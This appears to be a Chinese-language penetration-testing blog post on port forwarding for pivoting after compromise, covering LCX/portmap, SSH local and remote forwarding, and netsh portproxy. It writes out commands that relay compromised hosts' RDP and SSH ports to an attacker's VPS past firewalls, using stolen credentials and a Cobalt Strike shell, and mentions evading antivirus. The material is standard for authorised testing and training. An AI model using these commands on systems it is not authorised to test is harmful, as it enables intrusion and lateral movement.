隧道代理-端口转发相关工具

LCX

LCX是一款内网端口转发工具,分为Windows版和Linux版,Linux版本为PortMap。LCX有端口映射和端口转发两大功能,例如:当目标的3389端口只对内开放而不对外开放时,可以使用端口映射将3389端口映射到目标的其他端口使用;当目标处于内网或目标配置的策略只允许访问某一固定端口时,可以通过端口转发突破限制

目前很多杀软已经将LCX加入了特征库,所以在实际利用时需要自行做免杀处理

Windows版的LCX用法:
Usage:lcx.exe -<listen|tran|slave> <option> [-log logfile]

-tran <等待连接的端口> <目标ip> <目标端口>  (端口映射)

-listen <监听slave请求的端口(对应slave 的第二个参数)> <等待连接的端口>  (端口转发)

-slave <你的ip> <监听端口(对应listen的第一个参数)> <目标ip> <目标端口>  (端口转发)
Linux版的LCX用法:

linux下的工具名为portmap

Usage:./portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]
-v: version
-h1: host1
-h2: host2
-p1: port1
-p2: port2
-log: log the data
-m: the action method for this tool
1: listen on PORT1 and connect to HOST2:PORT2
2: listen on PORT1 and PORT2
3: connect to HOST1:PORT1 and HOST2:PORT2
使用案例
  • 目标机有公网IP:

    已获取windows主机的shell,上线CS,且已抓取到账户密码,开启了3389但RDP远连失败,推测可能被防火墙拦了,此时可以使用lcx进行端口转发:

    • 将LCX上传至windows主机

    • 在攻击机上执行命令:

      lcx.exe -listen 53 1111
      #监听本地53端口并转发到本地1111端口,这里选择53是因为DNS端口一般不会被ban
      
    • 在CS的windows shell上执行:

      lcx.exe -slave [攻击机IP] 53 127.0.0.1 3389
      #将本机3389端口转发到攻击机的53端口
      
    • RDP连接:127.0.0.1:1111,即可成功连接被攻击windows主机的远程桌面,且未被防火墙拦截

  • 目标机无公网IP:

    已获取内网windows主机的shell,上线CS,且已抓取到账户密码,开启了3389,但内网主机无法直接RDP远连,此时也可以使用lcx,配合公网vps进行端口转发:

    • 将LCX上传至windows主机

    • 在公网vps上使用lcx:

      ./portmap -m 2 -p1 54 -p2 1111
      
    • 在CS的windows shell上执行:

      shell lcx.exe -slave [vps公网IP] 54 127.0.0.1 3389
      
    • RDP连接:[vps公网IP]:1111,即可成功连接被攻击windows主机的远程桌面

  • 端口映射:

    有如下拓扑:

    image-20240620020423260

    获取外网主机shell后,发现内网存在一台MySQL服务器,且已收集到MySQL服务器的SSH登录凭证,由于其处于内网无法直接SSH连接,所以考虑使用LCX将MySQL的22端口映射到WEB服务器上

    • 在web服务器上执行命令:

      lcx.exe -tran 2222 [MySQL服务器内网IP] 22
      
    • 经过端口映射,即可直接SSH连接MySQL:

      ssh root@[WEB服务器IP] -p 2222
      

SSH

ssh是linux主机自带的程序,攻击者无需上传第三方工具即可实现端口转发,这使得ssh的使用更加方便

ssh通过远程访问主机提供保护,可以对客户端和服务端之间的数据传输进行压缩和加密,有身份验证、SCP、SFTP、端口转发等功能

常用参数
  • -c:请求压缩所有数据
  • -D:动态转发(类似socks代理)
  • -f:后台执行SSH指令
  • -g:允许远程主机连接主机的转发端口
  • -L:本地转发(可理解为正向)
  • -N:不执行远程指令,处于等待模式
  • -R:远程转发(可理解为反向)

这里仅对端口转发(本地和远程转发)功能进行介绍

本地转发(正向)

有如下场景,外网linux主机已经getshell,已知内网windows主机的3389开启且已获得内网主机的账户密码,可尝试通过使用ssh进行端口转发来RDP登录内网主机:image-20240620024712654

  • 在外网linux上使用ssh进行端口本地转发

    ssh -CfNg -L [本地端口]:[内网主机IP]:[内网主机端口] [外网主机IP]
    
  • 比如这里转发3389:

    ssh -CfNg -L 5678:[内网主机IP]:3389 [外网主机IP]
    #执行命令后输入获取到的内网主机账户密码
    
  • 接下来即可RDP连接[外网主机IP]:5678,实现登录内网主机桌面

同理,如果内网的web服务存在漏洞,也可以将对应端口转发到外网主机进行访问和相应漏洞利用

远程转发(反向)

有如下场景,通过钓鱼获取了内网linux主机A的shell,已知内网linux主机B的3389开启,且已获得内网linux主机的root用户密码,可尝试通过使用ssh进行端口转发给vps,vps再使用ssh登录内网主机

image-20240620185431530

  • 在内网主机A上使用ssh进行端口远程转发:

    ssh -CfNg -R [本地端口]:[A主机IP]:[内网主机端口] [外网主机IP]
    
  • 比如这里转发22(ssh):

    ssh -CfNg -R 7890:[B主机IP]:22 [攻击者vps IP]
    #执行命令后输入公网服务器密码
    
  • 接下来即可在vps上访问相应端口(该方法只能本地访问端口)进行ssh登录:

    ssh root@127.0.0.1 -p 7890
    
动态转发

动态转发类似SOCKS代理,不仅仅是针对么某一个端口进行转发,在我介绍代理的文章细说,这里不做赘述

NETSH

netsh是windows系统自带命令行程序,攻击者也无需上传第三方工具即可利用netsh程序可进行端口转

发操作,可将内网中其他服务器的端口转发至本地访问

:运行该工具需要管理员的权限

使用场景

拓扑如下:攻击者已获取外网windows主机A的shell和内网linux主机的root用户密码,但无法直接访问内网Linux主机B。此时可以借助B机器上的netsh命令进行端口转发访问机器C的端口(注意只能访问端口)

image-20240620221357729

  • 在主机A的shell上使用netsh进行端口转发:

    netsh interface portproxy add v4tov4 listenaddress=[外网主机IP] listenport=[外网主机端口] connectport=[内网主机端口] connectaddress=[内网主机IP]
    
  • 比如这里转发内网主机B的22端口到外网主机A的9999端口

    netsh interface portproxy add v4tov4 listenaddress=[外网主机IP] listenport=9999 connectport=22 connectaddress=[内网主机IP]
    
  • 查看是否开启转发

    netsh interface portproxy show v4tov4
    
  • 若成功开启,即可在攻击机上ssh连接外网主机A的9999端口,从而登录内网主机B:

    ssh root@[外网主机IP] -p 9999
    
  • 结束后删除转发如下:

    netsh interface portproxy delete v4tov4 listenaddress=[外网主机IP]
    listenport=9999
    

端口转发的局限性

每次只能对单个端口进行转发,在针对多个端口甚至主机的渗透过程不够方便

posted @ 2024-09-17 18:53  Yuy0ung  阅读(45)  评论(0编辑  收藏  举报